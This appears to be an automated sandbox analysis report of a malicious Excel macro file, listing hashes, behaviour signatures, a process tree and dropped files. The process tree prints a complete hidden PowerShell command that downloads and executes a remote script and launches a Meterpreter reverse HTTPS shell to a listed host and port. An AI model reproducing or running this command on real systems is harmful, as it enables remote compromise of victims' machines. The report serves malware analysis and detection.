Analysis

  • max time kernel
    45s
  • max time network
    16s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    06/07/2024, 22:15

General

  • Target

    fec507ef291a77b7e121fcab7920a54ef6f8c1d539802c45081e8193856e4826.xls

  • Size

    44KB

  • MD5

    c4dcc477def6e9616e360a5ae370fb70

  • SHA1

    63db1968e8f583dd9807e2cdfceae85ff37b87be

  • SHA256

    fec507ef291a77b7e121fcab7920a54ef6f8c1d539802c45081e8193856e4826

  • SHA512

    325716b67b635b4b144ed1ff8f5ea9dad5a33806f02ac0603b6b9afa0e6bb95e33c272c86b33d72ad42ae974e8ea6f498748e6577578bfd26fe9e1a6cc1e96c2

  • SSDEEP

    768:BtvoefzRk3hbdlylKsgqopeJBWhZFGkE+cL2NdAJMtkW+uFlmQQc81J9ac09acyL:Zdk3hbdlylKsgqopeJBWhZFGkE+cL2NE

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
ps1.dropper

https://raw.githubusercontent.com/enigma0x3/Generate-Macro/master/Generate-Macro.ps1

Signatures

  • Process spawned unexpected child process 2 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 4 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 5 IoCs
  • Drops file in System32 directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\fec507ef291a77b7e121fcab7920a54ef6f8c1d539802c45081e8193856e4826.xls
    1⤵
    • Enumerates system info in registry
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2196
    • C:\Windows\SysWOW64\wscript.exe
      wscript C:\Users\Public\config.vbs
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:2436
      • C:\WINDOWS\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\WINDOWS\system32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -nop -noexit -c IEX ((New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Generate-Macro/master/Generate-Macro.ps1')); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 172.19.240.124 -Lport 1234 -Force
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2220
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -WindowStyle Hidden -noprofile -noexit -c IEX ((New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Generate-Macro/master/Generate-Macro.ps1')); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 172.19.240.124 -Lport 1234 -Force
    1⤵
    • Process spawned unexpected child process
    • Blocklisted process makes network request
    • Command and Scripting Interpreter: PowerShell
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:2760

Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\QYO1T3ENWZCJUUXHCHR1.temp

          Filesize

          7KB

          MD5

          83d4b5c8006a05ebadbdbb3e883458f8

          SHA1

          405cfac27236cd2e1140e774a60b16a3a91aaa0d

          SHA256

          412d5973ea3f1f3e0e8fc383f948d50c650f13a0b0569f8aa1fa351198b8fe6a

          SHA512

          3e6e29409836caaf179c4a710d778487b56ed4e6d2835dd2571febaf4500d44a4eeb489da1f099fd7dcf7ff08cb2d09757edad91c9becbc4fee80a023bd96e4a

        • C:\Users\Public\config.vbs

          Filesize

          461B

          MD5

          ce52ab154163c511f0efa6a61e22ab64

          SHA1

          9f12cc215e15802eddcb02cb5370ef16b21fa3a6

          SHA256

          df342167afd4f1758c02b8793b27a2f9e35f074ea20aa1aa75c69d48d88fcd17

          SHA512

          cf50d9b51fcb4f3150aeca158a7a2249b1f5806d0e9ffc2b479ef936a7d85fdaaf302ce5cb3263e03b3c7805d38ca734f167ff757e6b6cdf89343f13a2bf0f78

        • memory/2196-20-0x0000000000550000-0x0000000000650000-memory.dmp

          Filesize

          1024KB

        • memory/2196-32-0x0000000000550000-0x0000000000650000-memory.dmp

          Filesize

          1024KB

        • memory/2196-6-0x0000000000550000-0x0000000000650000-memory.dmp

          Filesize

          1024KB

        • memory/2196-13-0x0000000000550000-0x0000000000650000-memory.dmp

          Filesize

          1024KB

        • memory/2196-5-0x0000000000550000-0x0000000000650000-memory.dmp

          Filesize

          1024KB

        • memory/2196-4-0x0000000000550000-0x0000000000650000-memory.dmp

          Filesize

          1024KB

        • memory/2196-12-0x0000000000550000-0x0000000000650000-memory.dmp

          Filesize

          1024KB

        • memory/2196-14-0x0000000000550000-0x0000000000650000-memory.dmp

          Filesize

          1024KB

        • memory/2196-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

          Filesize

          64KB

        • memory/2196-3-0x0000000000550000-0x0000000000650000-memory.dmp

          Filesize

          1024KB

        • memory/2196-28-0x0000000000550000-0x0000000000650000-memory.dmp

          Filesize

          1024KB

        • memory/2196-37-0x0000000000550000-0x0000000000650000-memory.dmp

          Filesize

          1024KB

        • memory/2196-2-0x0000000000550000-0x0000000000650000-memory.dmp

          Filesize

          1024KB

        • memory/2196-50-0x0000000000550000-0x0000000000650000-memory.dmp

          Filesize

          1024KB

        • memory/2196-49-0x0000000000550000-0x0000000000650000-memory.dmp

          Filesize

          1024KB

        • memory/2196-1-0x0000000072A2D000-0x0000000072A38000-memory.dmp

          Filesize

          44KB

        • memory/2196-47-0x0000000072A2D000-0x0000000072A38000-memory.dmp

          Filesize

          44KB

        • memory/2196-48-0x0000000000550000-0x0000000000650000-memory.dmp

          Filesize

          1024KB

        • memory/2760-44-0x0000000001E20000-0x0000000001E28000-memory.dmp

          Filesize

          32KB

        • memory/2760-43-0x000000001B7E0000-0x000000001BAC2000-memory.dmp

          Filesize

          2.9MB